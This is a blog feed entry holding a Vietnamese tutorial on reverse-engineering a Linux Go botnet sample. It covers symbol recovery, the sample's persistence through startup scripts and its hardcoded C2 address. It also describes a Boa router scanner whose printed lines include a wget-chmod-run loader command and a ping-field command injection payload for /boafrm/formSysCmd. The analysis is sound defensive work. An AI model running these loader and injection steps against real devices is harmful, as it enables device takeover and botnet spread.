<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://develbranch.com/rss-feed.xml" rel="self" type="application/atom+xml" /><link href="https://develbranch.com/" rel="alternate" type="text/html" /><updated>2026-06-06T16:37:56+00:00</updated><id>https://develbranch.com/rss-feed.xml</id><title type="html">DevelBranch</title><subtitle>Software Research and Development</subtitle><author><name>Quang Nguyen</name></author><entry><title type="html">Phân tích malware Linux viết bằng Golang</title><link href="https://develbranch.com/tutorials/analyze-simple-go-malware.html" rel="alternate" type="text/html" title="Phân tích malware Linux viết bằng Golang" /><published>2026-06-05T17:00:00+00:00</published><updated>2026-06-05T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/analyze-simple-go-malware</id><content type="html" xml:base="https://develbranch.com/tutorials/analyze-simple-go-malware.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Tôi gần đây có nhận được một mẫu malware từ một bạn trẻ, muốn tôi phân tích giúp. Đúng là một cơ hội tuyệt vời để tôi có thể đưa những kiến thức cơ bản nhất của việc phân tích malware dưới dạng những hướng dẫn thực tế, giúp các bạn có phương pháp đơn giản và dễ tiếp cận nhất khi mới bắt đầu.</p>

<h2 id="cần-chuẩn-bị-những-gì">Cần chuẩn bị những gì?</h2>
<p>Để làm một “task” liên quan tới Reverse Engineering thì cần chuẩn bị 2 thứ:</p>
<ul>
  <li>Bộ công cụ phân tích malware:
    <ul>
      <li>Chúng ta cần chuẩn bị các chương trình phân tích tĩnh: IDA Pro, Ghidra và Binary Ninja (Binja) - ba công cụ dịch ngược (disassembler/decompiler) đỉnh cao nhất hiện nay</li>
      <li>Các công cụ phân tích động, chính là các debugger, ví dụ như x64dbg hay gdb…</li>
    </ul>
  </li>
  <li>Một mẫu malware nào đó</li>
</ul>

<h2 id="mẫu-malware">Mẫu malware</h2>

<p>https://www.virustotal.com/gui/file/578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6</p>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-sample.png" alt="Mẫu malware" /></p>

<p>Nhận xét nhanh thì đây là một mẫu mã độc (malware) trên linux:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>SHA-256: 578f3c5dab9cd9b6ca58a635e5c9e717e8331649898c2918dda45f5a613703c6

Vhash: 83b7e04a4a6d626d7dd712758613d1d5

File type: ELF, executable, linux, elf

Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=SXo9fcU4f_47pquyp6c9/kDE08I6veCQfKraEBS8a/cFwQM5rzvWCTi1sIe7tS/QqEt0bDlaJefPO8ud-0o, stripped

File size: 4.45 MB (4669440 bytes)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Chú ý rằng kích thước file này cũng tương đối lớn với một malware. <strong>Có thể đoán rằng trong file này có thể chứa cả các thư viện runtime của framework chăng?</strong></p>

<h2 id="phân-tích-nhanh-với-ida-pro">Phân tích nhanh với IDA Pro</h2>

<p>Load file ELF này vào IDA Pro, có thể nhận thấy một đặc điểm thú vị: file này không bị pack, entropy của file ở mức trung bình thấp và chứa các từ khóa liên quan tới Golang.</p>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-function-name.png" alt="Function Name" /></p>

<p>Phân tích mã độc Linux được viết bằng Golang (không pack/không nén obfuscate nặng bằng các công cụ như UPX) luôn là một thử thách đặc thù. Do Go biên dịch tĩnh (Statically Linked) và tích hợp sẵn toàn bộ Go Runtime bên trong, một file ELF thông thường sẽ rất nặng (vài MB trở lên) và chứa lượng hàm khổng lồ của hệ thống khiến đồ thị luồng điều khiển (<strong>C</strong>ontrol <strong>F</strong>low <strong>G</strong>raph - CFG) bị loãng.</p>

<p>Tuy nhiên, Go không thể xóa hoàn toàn thông tin cấu trúc dữ liệu. Cho dù mẫu mã độc đã bị strip hết symbol, Go Runtime vẫn bắt buộc phải giữ lại siêu dữ liệu (metadata) trong các phân đoạn như <code class="language-plaintext highlighter-rouge">.gopclntab</code> (Go Program Counter Line Table) và <code class="language-plaintext highlighter-rouge">.typelink</code> để phục vụ cho tính năng reflection, stack traces và garbage collection.</p>

<p>Tôi nghĩ ngay đến việc dùng <a href="https://github.com/mandiant/GoReSym">GoReSym (của Mandiant)</a> để khôi phục lại toàn bộ tên hàm gốc, các package đi kèm, định nghĩa kiểu (type) và ánh xạ lại chúng vào disassembler. Trong hướng dẫn của <code class="language-plaintext highlighter-rouge">GoReSym</code> cũng đã nói rất rõ cách sử dụng:</p>

<p>Trước tiên, cần extract các thông tin về symbol đang lưu trong file thực thi.</p>

<pre><code class="language-cmd">GoReSym.exe -t -d -p /path/to/input &gt; golang.symbol.json
</code></pre>

<p>Sau đó, dùng script <code class="language-plaintext highlighter-rouge">goresym_rename.py</code> của GoReSym để import chúng vào IDA database.</p>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-main-main.png" alt="main" /></p>

<p>Sau khi import thông tin bổ sung, chúng ta tập trung vào các <code class="language-plaintext highlighter-rouge">entrypoint</code> của chương trình. Có thể lưu tâm 2 entrypoint sau:</p>

<ul>
  <li>
    <p><code class="language-plaintext highlighter-rouge">main.init</code>: Go cho phép mỗi file source code có một hàm <code class="language-plaintext highlighter-rouge">init()</code> tự động chạy trước cả hàm <code class="language-plaintext highlighter-rouge">main.main</code>. Mã độc Linux rất hay lợi dụng hàm này để kiểm tra môi trường (Anti-Sandbox, Anti-VM) hoặc thiết lập tính năng ẩn mình trước khi kích hoạt payload chính.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">main.main</code>: Hàm bắt đầu của một chương trình Go.</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">runtime.newproc</code>: Hàm tạo một Goroutine mới, tương đương với việc tạo một luồng thực thi song song. Chúng ta cần kiểm tra tham số truyền vào hàm này để biết hàm tiếp theo nào sẽ được chạy ngầm.</p>
  </li>
</ul>

<h1 id="phân-tích-hành-vi-của-mã-độc">Phân tích hành vi của mã độc</h1>

<p>Đến lúc này, các bước chuẩn bị đã xong, chúng ta sử dụng logic của mình để bắt đầu bóc tách xem mã độc này làm những gì.</p>

<p>Trước hết, cần chốt lại một quan sát quan trọng: trong cơ sở dữ liệu IDA đã khôi phục symbol, không thấy xuất hiện <code class="language-plaintext highlighter-rouge">main.init</code> hay các biến thể kiểu <code class="language-plaintext highlighter-rouge">main.init.*</code>. Điều đó không chứng minh tuyệt đối rằng mẫu không có logic khởi tạo sớm, nhưng trong phạm vi triage hiện tại, phần hành vi dễ quan sát và có giá trị nhất tập trung gần như hoàn toàn trong <code class="language-plaintext highlighter-rouge">main.main</code>.</p>

<h2 id="1-mainmain">1. <code class="language-plaintext highlighter-rouge">main.main</code></h2>

<p>Từ <code class="language-plaintext highlighter-rouge">main.main</code>, mẫu mã độc thực hiện một chuỗi hành vi rất rõ ràng.</p>

<ul>
  <li>
    <p>Việc đầu tiên là gọi <code class="language-plaintext highlighter-rouge">main.AutoStart()</code>. Tới đây ta không còn phải đoán nữa, vì nhánh này thực sự triển khai cơ chế persistence khá rõ ràng.</p>
  </li>
  <li>Ngay sau đó, chương trình sử dụng sẵn địa chỉ <code class="language-plaintext highlighter-rouge">Command &amp; Control Server</code> (C2) hard-code là <code class="language-plaintext highlighter-rouge">192.142.55.159</code> và cổng <code class="language-plaintext highlighter-rouge">9111</code>.</li>
  <li>Tiếp theo, nó tạo một goroutine đầu tiên thông qua <code class="language-plaintext highlighter-rouge">runtime.newproc</code>, với target là <code class="language-plaintext highlighter-rouge">main.main.func3</code>.</li>
  <li>Sau khi khởi tạo luồng nền, mã độc đi vào vòng lặp thử kết nối TCP liên tục tới máy chủ điều khiển, đồng thời in ra chuỗi trạng thái <code class="language-plaintext highlighter-rouge">Connecting to CNC...</code>.</li>
  <li>Khi kết nối thành công, nó in <code class="language-plaintext highlighter-rouge">Connected to CNC!</code> và bắt đầu phiên làm việc với C2.</li>
</ul>

<p>Chuỗi hành vi này cho thấy đây không phải là một dropper đơn giản chạy một lần rồi thoát. Nó được thiết kế như một bot hoạt động dài hạn: tồn tại lâu dài trong hệ thống, giữ liên lạc với máy chủ điều khiển, và chờ lệnh tiếp theo.</p>

<h2 id="11-mainautostart-persistence-như-thế-nào">1.1. <code class="language-plaintext highlighter-rouge">main.AutoStart()</code> persistence như thế nào?</h2>

<p>Phân tích sâu hơn <code class="language-plaintext highlighter-rouge">main.AutoStart()</code> cho thấy cơ chế persistence của mẫu gồm hai giai đoạn riêng biệt.</p>

<h3 id="giai-đoạn-1-tự-copy-chính-nó-sang-một-đường-dẫn-giống-binary-hệ-thống">Giai đoạn 1: tự copy chính nó sang một đường dẫn giống binary hệ thống</h3>

<p>Trước hết, malware gọi <code class="language-plaintext highlighter-rouge">os.Executable()</code> để lấy đường dẫn file thực thi hiện tại. Sau đó nó thử khả năng ghi file tại một số thư mục sau bằng cách tạo file tạm <code class="language-plaintext highlighter-rouge">test_write</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/usr/bin/</code></li>
  <li><code class="language-plaintext highlighter-rouge">/data/local/tmp/</code></li>
  <li><code class="language-plaintext highlighter-rouge">/tmp/</code></li>
  <li><code class="language-plaintext highlighter-rouge">/var/run/</code></li>
</ul>

<p>Cách làm ở đây rất thực dụng: thư mục nào ghi được thì chọn luôn. Sau khi chọn được vị trí phù hợp, nó xóa file <code class="language-plaintext highlighter-rouge">test_write</code>, rồi dựng đường dẫn đích có tên cuối là <code class="language-plaintext highlighter-rouge">sysd</code>, ví dụ như <code class="language-plaintext highlighter-rouge">/usr/bin/sysd</code>. Nếu toàn bộ các đường dẫn trên đều không ghi được, mẫu sẽ fallback về <code class="language-plaintext highlighter-rouge">./sysd</code> trong thư mục làm việc hiện tại.</p>

<p>Nếu file thực thi hiện tại chưa nằm đúng ở vị trí đích đó, malware sẽ mở chính binary của nó, copy sang đường dẫn mới, rồi gọi <code class="language-plaintext highlighter-rouge">chmod</code> để đặt quyền thực thi ở mức <code class="language-plaintext highlighter-rouge">0777</code>.</p>

<p>Ý nghĩa của bước này khá rõ:</p>

<ul>
  <li>mẫu tự nhân bản chính nó sang một vị trí dễ được gọi lại sau này,</li>
  <li>tên <code class="language-plaintext highlighter-rouge">sysd</code> được chọn để trông giống một tiến trình hay daemon hệ thống,</li>
  <li>và việc cấp quyền <code class="language-plaintext highlighter-rouge">0777</code> giúp bảo đảm binary mới có thể được chạy lại dễ dàng.</li>
</ul>

<p>Đây là kiểu ngụy trang rất cơ bản nhưng hiệu quả với các hệ thống Linux bị cấu hình lỏng lẻo hoặc đã bị chiếm quyền trước đó.</p>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-persistence.png" alt="persistence" /></p>

<h3 id="giai-đoạn-2-chèn-lệnh-khởi-động-vào-các-script-startup-có-sẵn">Giai đoạn 2: chèn lệnh khởi động vào các script startup có sẵn</h3>

<p>Sau khi xác định được đường dẫn persistence, hàm <code class="language-plaintext highlighter-rouge">main.AutoStart()</code> dựng chuỗi lệnh theo dạng:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>&lt;duong_dan_toi_sysd&gt; &amp;
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Ký tự <code class="language-plaintext highlighter-rouge">&amp;</code> cho thấy tác giả muốn tiến trình được chạy nền mỗi khi script khởi động được thực thi.</p>

<p>Tiếp theo, malware kiểm tra nhiều file startup kiểu cũ trên Linux. Nếu file tồn tại và chưa chứa chuỗi <code class="language-plaintext highlighter-rouge">sysd</code>, nó sẽ append thêm một dòng gọi thực thi malware.</p>

<p>Các file bị nhắm tới gồm:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/rc.local</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/rc.d/rc.local</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/init.d/boot.local</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/profile</code></li>
  <li><code class="language-plaintext highlighter-rouge">/root/.bashrc</code></li>
  <li><code class="language-plaintext highlighter-rouge">/home/user/.bashrc</code></li>
</ul>

<p>Cơ chế này cho thấy tác giả không dùng persistence kiểu <code class="language-plaintext highlighter-rouge">systemd service</code> hiện đại, mà chọn cách đơn giản hơn: lợi dụng các script khởi động hệ thống và shell profile truyền thống.</p>

<p>Điều này mang lại cho malware hai cơ hội sống lại:</p>

<ul>
  <li>được thực thi khi máy boot lên thông qua các file như <code class="language-plaintext highlighter-rouge">rc.local</code> hoặc <code class="language-plaintext highlighter-rouge">boot.local</code>,</li>
  <li>hoặc được thực thi khi người dùng/root mở shell mới thông qua <code class="language-plaintext highlighter-rouge">.bashrc</code> hay <code class="language-plaintext highlighter-rouge">/etc/profile</code>.</li>
</ul>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-autostart.png" alt="persistence" /></p>

<p>Từ góc nhìn phân tích hành vi, <code class="language-plaintext highlighter-rouge">main.AutoStart()</code> là một nhánh rất “đời thường” nhưng đáng chú ý vì nó không cố tỏ ra tinh vi:</p>

<ul>
  <li>không cần cài service mới,</li>
  <li>không cần sửa crontab phức tạp,</li>
  <li>không cần thêm module kernel hay rootkit,</li>
  <li>chỉ cần copy binary sang tên <code class="language-plaintext highlighter-rouge">sysd</code> rồi chèn một dòng vào các script startup sẵn có.</li>
</ul>

<p>Chính sự đơn giản này lại khiến nó phù hợp với nhiều môi trường Linux khác nhau, đặc biệt là các máy cấu hình kém chặt chẽ, thiết bị IoT, VPS bị chiếm quyền hoặc hệ thống admin ít theo dõi các file khởi động truyền thống.</p>

<h2 id="2-cơ-chế-tự-duy-trì-kết-nối-với-c2">2. Cơ chế tự duy trì kết nối với C2</h2>

<p>Một chi tiết rất đáng chú ý là sau khi kết nối thành công, mẫu mã độc đăng ký một callback bằng <code class="language-plaintext highlighter-rouge">time.AfterFunc</code> với mốc thời gian 120 giây. Hàm callback tương ứng là <code class="language-plaintext highlighter-rouge">main.main.func1</code>, và chuỗi log liên quan là <code class="language-plaintext highlighter-rouge">Auto-reconnecting (120s limit)...</code>.</p>

<p>Điều này cho thấy malware có tư duy vận hành khá thực dụng:</p>

<ul>
  <li>nếu phiên kết nối treo quá lâu hoặc gặp sự cố,</li>
  <li>nó sẽ chủ động kích hoạt logic ngắt/kết nối lại,</li>
  <li>từ đó duy trì kênh điều khiển ổn định với hạ tầng C2.</li>
</ul>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-c2.png" alt="c2" /></p>

<p>Ngoài timer callback, <code class="language-plaintext highlighter-rouge">main.main</code> còn chạy thêm một goroutine khác trỏ tới <code class="language-plaintext highlighter-rouge">main.main.func4</code>. Tác giả tách riêng phần giao tiếp mạng ra khỏi luồng điều khiển chính để bot vừa nghe lệnh vừa tiếp tục duy trì vòng đời kết nối.</p>

<p>Khi socket bị đóng, malware hiển thị <code class="language-plaintext highlighter-rouge">Disconnected from CNC.</code> rồi quay về vòng lặp kết nối lại.</p>

<h2 id="3-luồng-scanner--loader-chạy-song-song">3. Luồng scanner / loader chạy song song</h2>

<p>Goroutine đầu tiên được tạo từ <code class="language-plaintext highlighter-rouge">main.main</code> dẫn tới <code class="language-plaintext highlighter-rouge">main.main.func3</code>, và hàm này gọi <code class="language-plaintext highlighter-rouge">main.StartScanner(...)</code>. Đây là một pivot rất quan trọng vì nó cho thấy mẫu không chỉ chờ lệnh DDoS, mà còn có nhánh hoạt động riêng theo kiểu scanner/loader.</p>

<p>Phân tích <code class="language-plaintext highlighter-rouge">main.StartScanner</code> cho thấy hàm này dựng URL theo mẫu:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://%s/bins.sh
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Sau đó, malware tạo một lệnh shell hoàn chỉnh:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>wget %s <span class="nt">-O</span> bins.sh<span class="p">;</span> <span class="nb">chmod</span> +x bins.sh<span class="p">;</span> ./bins.sh
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Rồi in ra log:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>Scanner started. Payload (Loader):
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Nghĩa là bot có khả năng tải một shell script từ máy chủ từ xa, cấp quyền thực thi cho script đó rồi chạy trực tiếp trên máy nạn nhân. Đây là dấu hiệu điển hình của một tầng loader: mã Golang đóng vai trò initial access, còn payload kế tiếp được phân phối động dưới dạng script.</p>

<p>Điểm đáng nói hơn là <code class="language-plaintext highlighter-rouge">main.StartScanner</code> lặp 100 lần, và ở mỗi vòng lặp lại gọi <code class="language-plaintext highlighter-rouge">runtime.newproc</code> để tạo một worker <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code>. Ban đầu nhìn qua thì rất dễ nghĩ rằng mỗi worker chỉ đơn thuần tải <code class="language-plaintext highlighter-rouge">bins.sh</code>. Nhưng khi lần theo sâu hơn vào <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code>, có thể thấy đây thực chất là cả một pipeline quét - khai thác - triển khai payload hoàn chỉnh.</p>

<h2 id="31-mainstartscannerfunc1-thực-sự-làm-gì">3.1. <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code> thực sự làm gì?</h2>

<p>Mỗi worker chạy trong một vòng lặp vô hạn với nhịp hoạt động khá đều:</p>

<ol>
  <li>gọi <code class="language-plaintext highlighter-rouge">main.generateRandomIP()</code> để sinh IP mục tiêu ngẫu nhiên,</li>
  <li>chuyển IP đó vào <code class="language-plaintext highlighter-rouge">main.exploitDevice(...)</code>,</li>
  <li>sleep khoảng <code class="language-plaintext highlighter-rouge">100000000 ns</code> tức xấp xỉ 100 ms,</li>
  <li>rồi lặp lại.</li>
</ol>

<p>Điều này có nghĩa là 100 goroutine không phải 100 downloader thụ động, mà là 100 worker tự đi săn mục tiêu trên mạng theo kiểu random scan. Trong điều kiện lý tưởng, mỗi worker có thể thử khoảng 10 mục tiêu mỗi giây, tất nhiên còn phụ thuộc timeout mạng và độ trễ phản hồi từ nạn nhân.</p>

<h2 id="32-giai-đoạn-fingerprint-tìm-thiết-bị-chạy-boa">3.2. Giai đoạn fingerprint: tìm thiết bị chạy Boa</h2>

<p>Bên trong <code class="language-plaintext highlighter-rouge">main.exploitDevice(...)</code>, bước đầu tiên là gọi <code class="language-plaintext highlighter-rouge">main.findDevice()</code>. Hàm này mở kết nối TCP tới IP vừa sinh, gửi một request HTTP rất đơn giản:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">&lt;target&gt;</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Hello World</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Sau đó nó đọc response và kiểm tra xem header có chứa chuỗi <code class="language-plaintext highlighter-rouge">Server: Boa</code> hay không.</p>

<p>Đây là một chi tiết cực kỳ quan trọng. Nó cho thấy scanner không quét bừa để tìm bất kỳ web server nào, mà đang chủ đích nhắm vào các thiết bị nhúng/IoT hoặc router dùng Boa HTTP server. Nói cách khác, đây là một bộ lọc nạn nhân ngay từ đầu.</p>

<h2 id="33-kiểm-tra-lộ-file-cấu-hình-configdat">3.3. Kiểm tra lộ file cấu hình <code class="language-plaintext highlighter-rouge">config.dat</code></h2>

<p>Nếu mục tiêu trông giống thiết bị phù hợp, <code class="language-plaintext highlighter-rouge">main.exploitDevice(...)</code> gọi tiếp <code class="language-plaintext highlighter-rouge">main.confCheck()</code>. Ở nhánh này, malware gửi request:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/config.dat</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">&lt;target&gt;</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Hello World</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Rồi kiểm tra response có đồng thời thỏa hai điều kiện hay không:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">HTTP/1.1 200 OK</code></li>
  <li><code class="language-plaintext highlighter-rouge">Content-Disposition: attachment</code></li>
</ul>

<p>Nghĩa là malware đang thử xác minh xem thiết bị có làm lộ file cấu hình <code class="language-plaintext highlighter-rouge">config.dat</code> dưới dạng tệp tải về hay không. Đây là một pattern rất quen thuộc ở nhiều thiết bị mạng/IoT cấu hình yếu: file export cấu hình có thể bị tải xuống mà không cần kiểm soát truy cập chặt chẽ.</p>

<h2 id="34-chuỗi-khai-thác-credential-và-đăng-nhập">3.4. Chuỗi khai thác credential và đăng nhập</h2>

<p>Nếu <code class="language-plaintext highlighter-rouge">config.dat</code> có thể truy cập, worker đi tiếp vào chuỗi hàm liên quan tới thông tin xác thực:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">main.getCredLeak()</code></li>
  <li>tùy trường hợp có thêm <code class="language-plaintext highlighter-rouge">main.findCaptcha()</code> / <code class="language-plaintext highlighter-rouge">main.getCaptcha()</code></li>
  <li><code class="language-plaintext highlighter-rouge">main.loginDeviceCaptcha()</code> hoặc <code class="language-plaintext highlighter-rouge">main.loginDevice()</code></li>
  <li>có thể thêm <code class="language-plaintext highlighter-rouge">main.getAdminCredLeak()</code> rồi đăng nhập lại lần nữa</li>
</ul>

<p>Luồng này cho thấy mục tiêu của mã độc không chỉ là fingerprint banner. Nó cố trích xuất thông tin đăng nhập, xử lý cả trường hợp giao diện có CAPTCHA, sau đó đăng nhập vào web admin của thiết bị. Nếu quyền hiện tại chưa đủ mạnh, nó còn thử nhánh lấy credential quản trị rồi leo tiếp lên mức admin.</p>

<p>Nói ngắn gọn: đây là một exploit chain thực dụng dành riêng cho các web admin panel dựa trên Boa.</p>

<h2 id="35-quyết-định-payload-và-lạm-dụng-chức-năng-thực-thi-lệnh">3.5. Quyết định payload và lạm dụng chức năng thực thi lệnh</h2>

<p>Sau khi đăng nhập thành công và xác nhận có khả năng chạy lệnh, <code class="language-plaintext highlighter-rouge">main.exploitDevice(...)</code> gọi <code class="language-plaintext highlighter-rouge">main.decideInfectPayload()</code>. Hàm này gọi tiếp <code class="language-plaintext highlighter-rouge">main.findSysCmd()</code> để xác định kiểu giao diện thực thi lệnh trên thiết bị, rồi chọn một trong hai nhánh:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">main.syscmdPing()</code> khi mode là <code class="language-plaintext highlighter-rouge">1</code></li>
  <li><code class="language-plaintext highlighter-rouge">main.syscmdPingToto()</code> khi mode là <code class="language-plaintext highlighter-rouge">2</code></li>
</ul>

<p>Điểm mấu chốt ở đây là malware không dừng ở mức chiếm được thông tin đăng nhập. Nó còn cố tận dụng tính năng “system command” trên giao diện quản trị để đẩy lệnh shell thực tế sang thiết bị nạn nhân.</p>

<h3 id="biến-thể-1-chèn-lệnh-qua-trường-ping">Biến thể 1: chèn lệnh qua trường ping</h3>

<p>Ở nhánh <code class="language-plaintext highlighter-rouge">main.syscmdPing()</code>, malware gửi POST tới endpoint:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>/boafrm/formSysCmd
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Payload form có các trường đáng chú ý như:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sysCmdType=ping</code></li>
  <li><code class="language-plaintext highlighter-rouge">sysCmd=-c+4%3B&lt;loader-command&gt;</code></li>
  <li><code class="language-plaintext highlighter-rouge">apply=Apply</code></li>
  <li><code class="language-plaintext highlighter-rouge">submit-url=%2Fsyscmd.htm</code></li>
</ul>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-boa.png" alt="c2" /></p>

<p>Về mặt ý tưởng, tác giả đã lợi dụng trường ping để nhét thêm chuỗi lệnh shell phía sau <code class="language-plaintext highlighter-rouge">-c 4;</code>. Đây là kiểu command injection rất điển hình: giao diện nghĩ rằng nó đang chạy một lệnh ping bình thường, nhưng thực tế phần sau dấu <code class="language-plaintext highlighter-rouge">;</code> sẽ kéo theo loader command.</p>

<h3 id="biến-thể-2-ghi-lệnh-trực-tiếp-vào-ô-chạy-command">Biến thể 2: ghi lệnh trực tiếp vào ô chạy command</h3>

<p>Ở nhánh <code class="language-plaintext highlighter-rouge">main.syscmdPingToto()</code>, malware vẫn POST tới <code class="language-plaintext highlighter-rouge">/boafrm/formSysCmd</code>, nhưng tham số có layout khác:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">submit-url=%2Fsyscmd.htm</code></li>
  <li><code class="language-plaintext highlighter-rouge">sysCmdselect=5</code></li>
  <li><code class="language-plaintext highlighter-rouge">sysCmdselects=0</code></li>
  <li><code class="language-plaintext highlighter-rouge">save_apply=Run+Command</code></li>
  <li><code class="language-plaintext highlighter-rouge">sysCmd=&lt;loader-command&gt;</code></li>
</ul>

<p>Nhánh này có vẻ nhắm tới một biến thể giao diện quản trị khác, nơi lệnh có thể được đưa trực tiếp vào trường <code class="language-plaintext highlighter-rouge">Run Command</code> thay vì lách qua tính năng ping.</p>

<p>Trong cả hai trường hợp, malware đều kiểm tra response xem có xuất hiện chuỗi <code class="language-plaintext highlighter-rouge">syscmd.htm</code> hay không để coi như dấu hiệu triển khai thành công.</p>

<h2 id="36-vậy-từng-worker-đang-làm-gì-trên-thực-tế">3.6. Vậy từng worker đang làm gì trên thực tế?</h2>

<p>Ghép toàn bộ chuỗi lại, một worker <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code> sẽ làm các bước sau:</p>

<ol>
  <li>sinh IP ngẫu nhiên,</li>
  <li>kiểm tra xem mục tiêu có phải thiết bị dùng Boa hay không,</li>
  <li>thử truy cập <code class="language-plaintext highlighter-rouge">/config.dat</code>,</li>
  <li>lấy hoặc lạm dụng credential,</li>
  <li>đăng nhập vào web admin,</li>
  <li>dò khả năng thực thi lệnh hệ thống,</li>
  <li>đẩy một loader command tới <code class="language-plaintext highlighter-rouge">/boafrm/formSysCmd</code>,</li>
  <li>buộc thiết bị tải <code class="language-plaintext highlighter-rouge">bins.sh</code>, cấp quyền thực thi và chạy nó,</li>
  <li>nghỉ 100 ms rồi tiếp tục với IP kế tiếp.</li>
</ol>

<p>Như vậy, <code class="language-plaintext highlighter-rouge">main.StartScanner.func1</code> không phải là worker tải file đơn giản. Nó là một worker hoàn chỉnh kiểu compromise-and-deploy: vừa quét ngẫu nhiên, vừa fingerprint thiết bị IoT dùng Boa, vừa khai thác lộ lọt cấu hình/credential, rồi cuối cùng cài payload sang nạn nhân.</p>

<p>Khi nhìn lại <code class="language-plaintext highlighter-rouge">main.StartScanner</code> dưới góc này, ta thấy cụm 100 goroutine không chỉ nhằm “tăng tốc scan”, mà là để song song hóa toàn bộ quy trình xâm nhập và phát tán malware trên diện rộng. Đây là lý do nên coi mẫu này là bot DDoS có tích hợp scanner/loader chủ động, chứ không chỉ là một client chờ lệnh từ C2.</p>

<h2 id="4-cơ-chế-nhận-lệnh-từ-máy-chủ-điều-khiển">4. Cơ chế nhận lệnh từ máy chủ điều khiển</h2>

<p>Sau khi có kết nối sống tới C2, socket được bọc trong một scanner để đọc dữ liệu theo từng dòng. Dữ liệu nhận về được parse token bằng <code class="language-plaintext highlighter-rouge">strings.Fields</code>, nghĩa là giao thức điều khiển ở đây khá đơn giản: operator gửi một dòng lệnh dạng text, bot parse tham số theo khoảng trắng rồi quyết định chạy nhánh nào.</p>

<p>Thiết kế này thường gặp ở botnet nhỏ hoặc các mẫu malware được viết với mục tiêu triển khai nhanh:</p>

<ul>
  <li>dễ sửa phía server,</li>
  <li>dễ thêm lệnh mới,</li>
  <li>và ít tốn công xây dựng giao thức nhị phân phức tạp.</li>
</ul>

<p>Sau khi parse xong, chương trình không thực thi trực tiếp ngay trong luồng đọc socket mà tiếp tục spawn goroutine cho từng tác vụ tấn công. Đây là một quyết định hợp lý từ góc nhìn của tác giả malware: bot vẫn giữ được khả năng nhận lệnh mới trong khi các đợt flood đang chạy nền.</p>

<p><img src="/assets/2026/06/2026-06-06-analyze-simple-go-malware-cmd-parser.png" alt="c2" /></p>

<h2 id="5-các-tính-năng-tấn-công-ddos">5. Các tính năng tấn công DDoS</h2>

